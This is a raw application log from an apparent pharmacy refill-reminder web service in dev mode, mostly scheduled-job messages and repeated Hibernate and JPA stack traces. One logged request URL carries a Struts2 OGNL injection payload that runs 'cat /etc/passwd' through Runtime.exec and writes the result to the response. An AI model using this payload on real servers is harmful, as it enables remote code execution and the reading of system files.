org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-26 23:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:42:14 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/portal/displayAPSForm.action 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:42:14 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:14 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:42:42 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:42:42 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:42:42 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-26 23:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:46:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:46:48 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:46:48 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/$%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,%23a=@java.lang.Runtime@getRuntime().exec('cat%20/etc/passwd').getInputStream(),%23b=new%20java.io.InputStreamReader(%23a),%23c=new%20%20java.io.BufferedReader(%23b),%23d=new%20char%5B51020%5D,%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())%7D/actionChain1.action 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:48:46 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/integration/saveGangster.action 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:48:46 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:46 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login.action 2024-02-26 23:48:46 INFO PermissionDAO:436 - Begin: PermissionDAO -> getUserByName 2024-02-26 23:48:46 INFO PermissionDAO:447 - Begin: PermissionDAO -> getUserByName 2024-02-26 23:48:46 ERROR RequestFilter:222 - ServletException: RequestFilter -> doFilter org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.NullPointerException at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868) at javax.servlet.http.HttpServlet.service(HttpServlet.java:648) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842) at javax.servlet.http.HttpServlet.service(HttpServlet.java:729) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:292) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at com.ssa.cms.filter.RequestFilter.doFilter(RequestFilter.java:123) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:212) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:106) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:502) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:141) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:616) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:522) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1095) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:672) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1500) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1456) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.NullPointerException at com.ssa.cms.controller.LoginController.validate(LoginController.java:160) at com.ssa.cms.controller.LoginController.addCustomer(LoginController.java:100) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:221) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:137) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:110) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:777) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:706) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:943) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966) ... 28 more 2024-02-26 23:48:46 INFO RequestFilter:227 - End: RequestFilter -> doFilter 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:48:47 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/user.action 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:48:47 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:48:47 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 23:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:00 INFO 